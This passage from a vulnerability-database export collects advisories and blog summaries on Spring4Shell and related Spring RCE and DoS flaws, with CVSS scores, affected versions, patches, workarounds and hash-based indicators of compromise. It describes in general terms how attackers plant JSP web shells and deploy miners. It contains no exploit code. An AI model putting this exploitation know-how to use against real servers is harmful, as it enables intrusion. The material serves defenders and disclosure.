[said](<https://blog.talosintelligence.com/2022/04/teamtnt-targeting-aws-alibaba.html>).\n\n\"The tools used by TeamTNT demonstrate that cybercriminals are increasingly comfortable attacking modern environments such as Docker, Kubernetes, and public cloud providers, which have traditionally been avoided by other cybercriminals who have instead focused on on-premise or mobile environments.\"\n\n### Spring4Shell exploited for cryptocurrency mining\n\nThat's not all. In yet another instance of how threat actors quickly co-opt newly disclosed flaws into their attacks, the critical remote code execution bug in Spring Framework ([CVE-2022-22965](<https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html>)) has been weaponized to deploy cryptocurrency miners.\n\nThe exploitation attempts make use of a custom web shell to deploy the cryptocurrency miners, but not before turning off the firewall and terminating other virtual currency miner processes.\n\n\"These cryptocurrency miners have the potential to affect a large number of users, especially since Spring is the most widely used framework for developing enterprise-level applications in Java,\" Trend Micro researchers Nitesh Surana and Ashish Verma [said](<https://www.trendmicro.com/en_us/research/22/d/spring4shell-exploited-to-deploy-cryptocurrency-miners.html>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-22T09:30:00", "type": "thn", "title": "Watch Out! Cryptocurrency Miners Targeting Dockers, AWS and Alibaba Cloud", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-22T09:30:49", "id": "THN:8FDA592D55831C1C4E3583B81FABA962", "href": "https://thehackernews.com/2022/04/watch-out-cryptocurrency-miners.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cisa": [{"lastseen": "2022-04-07T11:27:17", "description": "Spring by VMWare has released Spring Cloud Function versions 3.1.7 and 3.2.3 to address remote code execution (RCE) vulnerability CVE-2022-22963 as well as Spring Framework versions 5.3.18 and 5.2.20 to address RCE vulnerability CVE-2022-22965, known as \u201cSpring4Shell.\u201d A remote attacker could exploit these vulnerabilities to take control of an affected system.\n\nAccording to VMware, the Spring4Shell vulnerability bypasses the patch for [CVE-2010-1622](<https://nvd.nist.gov/vuln/detail/CVE-2010-1622>), causing CVE-2010-1622 to become exploitable again. The bypass of the patch can occur because Java Development Kit (JDK) versions 9 and later provide two sandbox restriction methods, providing a path to exploit CVE-2010-1622 (JDK versions before 9 only provide one sandbox restriction method).\n\nCISA encourages users and administrators to immediately apply the necessary updates in the Spring Blog posts that provide the [Spring Cloud Function updates addressing CVE-2022-22963](<https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function>) and the [Spring Framework updates addressing CVE-2022-22965](<https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement>). CISA also recommends reviewing VMWare Tanzu Vulnerability Report [CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+](<https://tanzu.vmware.com/security/cve-2022-22965>) and CERT Coordination Center (CERT/CC) Vulnerability Note [VU #970766](<https://www.kb.cert.org/vuls/id/970766>) for more information. \n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2022/04/01/spring-releases-security-updates-addressing-spring4shell-and>); we'd welcome your feedback.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T00:00:00", "type": "cisa", "title": "Spring Releases Security Updates Addressing \"Spring4Shell\" and Spring Cloud Function Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1622", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-01T00:00:00", "id": "CISA:6CCB59AFE6C3747D79017EDD3CC21673", "href": "https://us-cert.cisa.gov/ncas/current-activity/2022/04/01/spring-releases-security-updates-addressing-spring4shell-and", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "securelist": [{"lastseen": "2022-04-04T17:28:33", "description": "\n\nLast week researchers found the critical vulnerability CVE-2022-22965 in Spring \u2013 the open source Java framework. Using the vulnerability, an attacker can execute arbitrary code on a remote web server, which makes CVE-2022-22965 a critical threat, given the Spring framework's popularity. By analogy with the [infamous Log4Shell threat](<https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/>), the vulnerability was named Spring4Shell.\n\n## CVE-2022-22965 and CVE-2022-22963: technical details\n\nCVE-2022-22965 (Spring4Shell, SpringShell) is a vulnerability in the Spring Framework that uses data binding functionality to bind data stored within an HTTP request to certain objects used by an application. The bug exists in the _getCachedIntrospectionResults_ method, which can be used to gain unauthorized access to such objects by passing their class names via an HTTP request. It creates the risks of data leakage and remote code execution when special object classes are used. This vulnerability is similar to the long-closed CVE-2010-1622, where class name checks were added as a fix so that the name did not match _classLoader_ or _protectionDomain_. However, in a newer version of JDK an alternative method exists for such exploitation, for example, through Java 9 Platform Module System functionality. \nSo an attacker can overwrite the Tomcat logging configuration and then upload a JSP web shell to execute arbitrary commands on a server running a vulnerable version of the framework.\n\nA vulnerable configuration consists of:\n\n * JDK version 9+\n * Apache Tomcat for serving the application\n * Spring Framework versions 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19 and below\n * application built as a WAR file\n\nCVE-2022-22963 is a vulnerability in the routing functionality of Spring Cloud Function that allows code injection through Spring Expression Language (SpEL) by adding a special _spring.cloud.function.routing-expression_ header to an HTTP request. SpEL is a special expression language created for Spring Framework that supports queries and object graph management at runtime. This vulnerability can also be used for remote code execution.\n\nA vulnerable configuration consists of:\n\n * Spring Cloud Function 3.1.6, 3.2.2 and older versions\n\n## Mitigations for Spring vulnerabilities exploitation\n\nCVE-2022-22965 is fixed in 2.6.6; see [the Spring blog for details](<https://spring.io/blog/2022/03/31/spring-boot-2-6-6-available-now>). \n\nTo fix CVE-2022-22963, you also need to install the new Spring Cloud Function versions; see the [VMware website for details](<https://tanzu.vmware.com/security/cve-2022-22963>). \n\nTo detect exploitation attempts, ensure that Advanced Exploit Prevention and Network Attack Blocker features are enabled. Some techniques used during exploitation can be seen in other exploits that we detect, which is why the verdict names can differ.\n\n## Indicators of Compromise\n\n**Verdicts** \nPDM:Exploit.Win32.Generic \nUMIDS:Intrusion.Generic.Agent.gen \nIntrusion.Generic.CVE-*.*\n\n**MD5 hashes of the exploits** \n7e46801dd171bb5bf1771df1239d760c - shell.jsp (CVE-2022-22965) \n3de4e174c2c8612aebb3adef10027679 - exploit.py (CVE-2022-22965)\n\n**Detection of the exploitation process with Kaspersky EDR Expert** \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/04152646/kata_spring4shell.png>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-04T15:30:36", "type": "securelist", "title": "Spring4Shell (CVE-2022-22965): details and mitigations", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1622", "CVE-2021-44228", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-04T15:30:36", "id": "SECURELIST:E21F9D6D3E5AFD65C99FC385D4B5F1DC", "href": "https://securelist.com/spring4shell-cve-2022-22965/106239/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "avleonov": [{"lastseen": "2022-04-06T15:11:45", "description": "Hello everyone! This episode will be about last week's high-profile vulnerabilities in Spring. Let's figure out what happened.\n\nAlternative video link (for Russia): <https://vk.com/video-149273431_456239078>\n\nOf course, it's amazing how fragmented the software development world has become. Now there are so many technologies, programming languages, libraries and frameworks! It becomes very difficult to keep them all in sight. Especially if it's not the stack you use every day. Entropy keeps growing every year. Programmers are relying more and more on off-the-shelf libraries and frameworks, even where it may not be fully justified. And vulnerabilities in these off-the-shelf components lead to huge problems. So it was in the case of a very critical Log4Shell vulnerability, so it may be in the case of Spring vulnerabilities.\n\n[Spring](<https://spring.io/>) is a set of products that are used for Java development. They are developed and maintained by VMware. The main one is Spring Framework. But there are a lot of them, [at least 21 on the website](<https://spring.io/projects/spring-framework>). And because Spring belongs to VMware, you can find a description of the vulnerabilities on the [VMware Tanzu website](<https://tanzu.vmware.com/security>). VMware Tanzu is a suite of products that helps users run and manage multiple Kubernetes (K8S) clusters across public and private \u201cclouds\u201d. Spring is apparently also part of this suite and therefore Spring vulnerabilities are published there. Let's look at the 3 most serious vulnerabilities published in the last month.\n\n## **[CVE-2022-22965](<https://tanzu.vmware.com/security/CVE-2022-22965>): "Spring4Shell", Spring Framework remote code execution (RCE) via Data Binding on JDK 9+**\n\nSpring Core Framework is widely used in Java applications. It allows software developers to develop Java applications with enterprise-level components effortlessly. \n\nSpring4Shell vulnerability allows remote attackers to plant a web shell when running Spring Framework apps on top of JRE 9. It is caused by unsafe deserialization of given arguments that a simple HTTP POST request can trigger and allow full remote access. In fact it is a patch bypass of the old CVE-2010-1622 vulnerability that was introduced 12 years ago.\n\nThe exploitation of this vulnerability relies on an endpoint with DataBinder enabled, which decodes data from the request body automatically. \n\nThe specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, that is the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.\n\nThese are the prerequisites for the exploit:\n\n * JDK 9 or higher\n * Apache Tomcat as the Servlet container\n * Packaged as WAR\n * spring-webmvc or spring-webflux dependency\n * Spring Framework 5.3.0 to 5.3.17, 5.2.0 to 5.2.19. Older, unsupported versions are also affected\n\nThere are [signs of exploitation in the wild](<https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/>) for this vulnerability. There are more than 30 repositories with [PoC and examples of vulnerable applications on github](<https://github.com/search?q=CVE-2022-22965>). \n\nIn short, look for Spring Framework applications on your Tomcats and then update them to version 5.3.18 and 5.2.20. \n\nQualys [recommendations for Linux](<https://blog.qualys.com/vulnerabilities-threat-research/2022/03/31/spring-framework-zero-day-remote-code-execution-spring4shell-vulnerability>):\n\n * Find java 9+ with `locate`\n * Find "`spring-webmvc-*.jar`", "`spring-webflux*.jar`" or "`spring-boot*.jar`" in `ls -l /proc/*/fd`\n\nAs an option, you can try to update the Tomcats first. it is easier. While CVE-2022-22965 resides in the Spring Framework, the Apache Tomcat team [released new versions of Tomcat](<https://spring.io/blog/2022/04/01/spring-framework-rce-mitigation-alternative>) to \u201dclose the attack vector on Tomcat\u2019s side.\u201d \n\nThe remaining two vulnerabilities are in rarer components that are not part of the Spring Core Framework.\n\n## [CVE-2022-22963](<https://tanzu.vmware.com/security/cve-2022-22963>): Remote code execution in Spring Cloud Function by malicious Spring Expression\n\nSpring Cloud Function is a serverless framework for implementing business logic via functions.\n\nIn Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources. Users of affected versions should upgrade to 3.1.7, 3.2.3. No other steps are necessary. \n\nThere are also [PoCs for this vulnerability](<https://github.com/me2nuk/CVE-2022-22963>). \n\nAnd finally, I would like to finish with a vulnerability that came out a month ago. And went quite unnoticed.\n\n## [CVE-2022-22947](<https://tanzu.vmware.com/security/cve-2022-22947>): Spring Cloud Gateway Code Injection Vulnerability\n\nSpring Cloud Gateway aims to provide a simple, yet effective way to route to APIs and provide cross cutting concerns to them such as: security, monitoring/metrics, and resiliency.\n\nApplications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.\n\nUsers of affected versions should apply the following remediation. 3.1.x users should upgrade to 3.1.1+. 3.0.x users should upgrade to 3.0.7+. If the Gateway actuator endpoint is not needed it should be disabled via management.endpoint.gateway.enabled: false.\n\nThere are also PoCs for this vulnerability not only in Github, but [also in public packs](<https://vulners.com/exploitdb/EDB-ID:50799>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-03T00:15:45", "type": "avleonov", "title": "Spring4Shell, Spring Cloud Function RCE and Spring Cloud Gateway Code Injection", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1622", "CVE-2022-22947", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-04-03T00:15:45", "id": "AVLEONOV:D75470B5417CEFEE479C9D8FAE754F1C", "href": "https://avleonov.com/2022/04/03/spring4shell-spring-cloud-function-rce-and-spring-cloud-gateway-code-injection/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "veracode": [{"lastseen": "2023-04-18T06:29:36", "description": "Spring Expression is vulnerable to denial of service. The vulnerability exists due to the creation of large array in a SpEL and sending meaningless error messages to the user which allows an attacker to send crafted SpEL expressions that leads to an out ouf bound error causing an application crash. \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-04-07T12:06:55", "type": "veracode", "title": "Denial Of Service (DoS)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2022-06-22T15:16:24", "id": "VERACODE:35014", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-35014/summary", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-04-18T05:56:21", "description": "spring-cloud-function-context is vulnerable to remote code execution. The routing functionality allows a user to provide a malicious SpEL as a routing-expression which would allow arbitrary OS commands to be executed remotely.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T01:51:42", "type": "veracode", "title": "Remote Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-07-25T21:02:40", "id": "VERACODE:34884", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-34884/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-04-18T05:45:26", "description": "spring-beans is vulnerable to remote code execution. Using Spring Parameter Binding with non-basic parameter types, such as POJOs, allows an unauthenticated attacker to execute arbitrary code on the target system by writing or uploading arbitrary files (e.g .jsp files) to a location that can be loaded by the application server. Initial analysis at time of writing shows that exploitation of the vulnerability is only possible with JRE 9 and above, and Apache Tomcat 9 and above, and that the vulnerability requires the usage of Spring parameter binding with non-basic parameter types such as POJOs.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T00:56:39", "type": "veracode", "title": "Remote Code Execution (RCE)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2023-02-09T06:40:09", "id": "VERACODE:34883", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-34883/summary", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2023-06-14T14:38:00", "description": "n Spring Framework versions 5.3.0 - 5.3.16 and older unsupported versions, it is possible for a user to provide a specially crafted SpEL expression that may cause a denial of service condition.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-04-01T23:15:00", "type": "debiancve", "title": "CVE-2022-22950", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2022-04-01T23:15:00", "id": "DEBIANCVE:CVE-2022-22950", "href": "https://security-tracker.debian.org/tracker/CVE-2022-22950", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-06-14T14:38:00", "description": "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. 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However, the nature of the\nvulnerability is more general, and there may be other ways to exploit it.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T00:00:00", "type": "ubuntucve", "title": "CVE-2022-22965", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-01T00:00:00", "id": "UB:CVE-2022-22965", "href": "https://ubuntu.com/security/CVE-2022-22965", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2023-04-11T01:18:22", "description": "In Spring Framework versions 5.3.0 - 5.3.16, 5.2.0.RELEASE - 5.2.19.RELEASE, and older unsupported versions, it is possible for a user to provide a specially crafted SpEL expression that may cause a denial of service condition.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-04-03T00:01:00", "type": "osv", "title": "Allocation of Resources Without Limits or Throttling in Spring Framework", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22950"], "modified": "2023-04-11T01:18:17", "id": "OSV:GHSA-558X-2XJG-6232", "href": "https://osv.dev/vulnerability/GHSA-558x-2xjg-6232", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2023-07-14T13:48:44", "description": "In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-03T00:00:59", "type": "osv", "title": "Spring Cloud Function Code Injection with a specially crafted SpEL as a routing expression", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2023-07-14T13:47:04", "id": "OSV:GHSA-6V73-FGF6-W5J7", "href": "https://osv.dev/vulnerability/GHSA-6v73-fgf6-w5j7", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-28T05:43:52", "description": "Spring Framework prior to versions 5.2.20 and 5.3.18 contains a remote code execution vulnerability known as `Spring4Shell`. \n\n## Impact\n\nA Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.\n\nThese are the prerequisites for the exploit:\n- JDK 9 or higher\n- Apache Tomcat as the Servlet container\n- Packaged as WAR\n- `spring-webmvc` or `spring-webflux` dependency\n\n## Patches\n\n- Spring Framework [5.3.18](https://github.com/spring-projects/spring-framework/releases/tag/v5.3.18) and [5.2.20](https://github.com/spring-projects/spring-framework/releases/tag/v5.2.20.RELEASE)\n- Spring Boot [2.6.6](https://github.com/spring-projects/spring-boot/releases/tag/v2.6.6) and [2.5.12](https://github.com/spring-projects/spring-boot/releases/tag/v2.5.12)\n\n## Workarounds\n\nFor those who are unable to upgrade, leaked reports recommend setting `disallowedFields` on `WebDataBinder` through an `@ControllerAdvice`. This works generally, but as a centrally applied workaround fix, may leave some loopholes, in particular if a controller sets `disallowedFields` locally through its own `@InitBinder` method, which overrides the global setting.\n\nTo apply the workaround in a more fail-safe way, applications could extend `RequestMappingHandlerAdapter` to update the `WebDataBinder` at the end after all other initialization. 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'min_version':'5.3', 'fixed_version':'5.3.18' }\n];\n\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "spring": [{"lastseen": "2022-04-27T14:58:04", "description": "We have released [Spring Framework 